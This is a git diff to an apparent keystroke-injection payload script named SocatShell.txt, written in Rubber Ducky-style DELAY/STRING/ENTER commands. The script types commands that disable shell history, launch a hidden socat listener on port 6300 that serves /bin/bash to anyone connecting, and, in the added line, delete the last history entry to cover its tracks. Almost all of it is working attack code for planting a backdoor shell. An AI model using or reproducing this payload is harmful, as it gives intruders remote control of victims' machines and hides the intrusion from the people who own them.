diff --git a/RECON/SocatShell.txt b/RECON/SocatShell.txt index 935f66a..7e34f6e 100644 --- a/RECON/SocatShell.txt +++ b/RECON/SocatShell.txt @@ -27,6 +27,7 @@ DELAY 1000 ENTER DELAY 500 STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') ENTER DELAY 500 STRING nohup socat TCP-LISTEN:6300 EXEC:/bin/bash &>/dev/null &